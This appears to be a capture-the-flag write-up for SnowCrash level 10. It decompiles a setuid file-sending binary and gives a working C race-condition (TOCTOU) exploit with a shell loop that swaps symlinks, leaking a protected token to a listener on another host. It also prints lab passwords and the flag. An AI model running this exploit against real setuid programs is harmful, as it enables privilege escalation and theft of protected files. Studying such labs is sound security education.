snowcrash/levels/10
2026-01-19 19:23:48 +01:00
..
flag level 10 2026-01-19 19:23:48 +01:00
passwd level 10 2026-01-19 19:23:48 +01:00
README.md level 10 2026-01-19 19:23:48 +01:00
toctou.c level 10 2026-01-19 19:23:48 +01:00

Level 10

how to login

username: level10

password: s5cAJpM8ev6XHw998pRWG728z

Goal

run getflag as user flag10

Actually doing something

level10@SnowCrash:~$ ll
total 28
dr-xr-x---+ 1 level10 level10   140 Mar  6  2016 ./
d--x--x--x  1 root    users     340 Aug 30  2015 ../
-r-x------  1 level10 level10   220 Apr  3  2012 .bash_logout*
-r-x------  1 level10 level10  3518 Aug 30  2015 .bashrc*
-rwsr-sr-x+ 1 flag10  level10 10817 Mar  5  2016 level10*
-r-x------  1 level10 level10   675 Apr  3  2012 .profile*
-rw-------  1 flag10  flag10     26 Mar  5  2016 token

not so lukcy this time, flag isn't readable...

lets run the executable and see what it does

level10@SnowCrash:~$ ./level10
./level10 file host
	sends file to host if you have access to it
level10@SnowCrash:~$ ./level10 token 192.168.92.90
You don't have access to token
level10@SnowCrash:~$ ./level10 .profile 192.168.92.90
Connecting to 192.168.92.90:6969 .. Connected!
Sending file .. Damn. Unable to open file

this seems fishy, lets view it in ida this time...

int main(int argc, const char **argv, const char **envp)
{
  int *errno; // eax
  char *errno_str; // eax
  const char *file; // [esp+28h] [ebp-1028h]
  const char *host; // [esp+2Ch] [ebp-1024h]
  int socket; // [esp+30h] [ebp-1020h]
  int fd; // [esp+34h] [ebp-101Ch]
  ssize_t read_ret; // [esp+38h] [ebp-1018h]
  _BYTE buf[4096]; // [esp+3Ch] [ebp-1014h] BYREF
  struct sockaddr addr; // [esp+103Ch] [ebp-14h] BYREF
  unsigned int v13; // [esp+104Ch] [ebp-4h]

  v13 = __readgsdword(0x14u);
  if ( argc <= 2 )
  {
    printf("%s file host\n\tsends file to host if you have access to it\n", *argv);
    exit(1);
  }
  file = argv[1];
  host = argv[2];
  if ( access(file, 4) )
    return printf("You don't have access to %s\n", file);
  printf("Connecting to %s:6969 .. ", host);
  fflush(stdout);
  socket = ::socket(2, 1, 0);
  *(_DWORD *)&addr.sa_data[6] = 0;
  *(_DWORD *)&addr.sa_data[10] = 0;
  addr.sa_family = 2;
  *(_DWORD *)&addr.sa_data[2] = inet_addr(host);
  *(_WORD *)addr.sa_data = htons(0x1B39u);
  if ( connect(socket, &addr, 0x10u) == -1 )
  {
    printf("Unable to connect to host %s\n", host);
    exit(1);
  }
  if ( write(socket, ".*( )*.\n", 8u) == -1 )
  {
    printf("Unable to write banner to host %s\n", host);
    exit(1);
  }
  printf("Connected!\nSending file .. ");
  fflush(stdout);
  fd = open(file, 0);
  if ( fd == -1 )
  {
    puts("Damn. Unable to open file");
    exit(1);
  }
  read_ret = read(fd, buf, 0x1000u);
  if ( read_ret == -1 )
  {
    errno = __errno_location();
    errno_str = strerror(*errno);
    printf("Unable to read from file: %s\n", errno_str);
    exit(1);
  }
  write(socket, buf, read_ret);
  return puts("wrote file!");
}

Seems pretty straight forward, lets to create a file and listen to it using socat on the host machine

# vm
level10@SnowCrash:~$ echo "file" >/tmp/file
level10@SnowCrash:~$ ./level10 /tmp/file 192.168.92.90
Connecting to 192.168.92.90:6969 .. Connected!
Sending file .. wrote file!
# host
 socat TCP-LISTEN:6969,fork stdio
.*( )*.
file

we got the file !

now the issue is that we can't send the token file direcly because it seems there isnt the litlle setuid dance we have come to expect...

lets try to use a symlink ?

level10@SnowCrash:~$ ln -s $(realpath token) /tmp/tok2
level10@SnowCrash:~$ ./level10 /tmp/tok2 192.168.92.90
You don't have access to /tmp/tok2

When looking at the code, we have a check for permission (access) THEN we open the file using open

What if we try really hard to make it so when the program check for the file permission using access, it is a file we have full permission, but when it opens the file, it is changed to be the token file (a symlink to it)

lets write a little code for that:

#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>

int main(int argc, char **argv) {
  if (argc < 2) {
    fprintf(stderr, "%s: <file> <target>\n", argv[0]);
    return 1;
  }
  const char *file = argv[1];
  const char *target = argv[2];
  int fd = -1;
  while (1) {
    unlink(file);
    fd = open(file, O_CREAT | O_RDWR | O_TRUNC, 0777);
    close(fd);
    unlink(file);
    symlink(target, file);
  }
}

copy this to the VM (in /tmp), compile it, and run it

# shell 1
level10@SnowCrash:~$ /tmp/toctou /tmp/tok2 $(realpath token)

in shell 2 run something like this:

level10@SnowCrash:~$ while true; do ./level10 /tmp/tok2 192.168.92.90; done

since the issue (Named TOCTOU for Time of Check - Time of Use) is by nature time sensitive, we run it as long as we need to, hoping for at least ONE single nice happy path :D

and on the host, we get this:

 socat TCP-LISTEN:6969,fork stdio
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
woupa2yuojeeaaed06riuj63c
.*( )*.
.*( )*.
.*( )*.
.*( )*.
woupa2yuojeeaaed06riuj63c
.*( )*.
.*( )*.
.*( )*.
.*( )*.
woupa2yuojeeaaed06riuj63c
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
woupa2yuojeeaaed06riuj63c
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.

we get lots of empty files (the one we try to trick the permission check with), and few token :D

level10@SnowCrash:~$ su flag10 -c getflag
Password: 
Check flag.Here is your token : feulo4b72j7edeahuete3no7c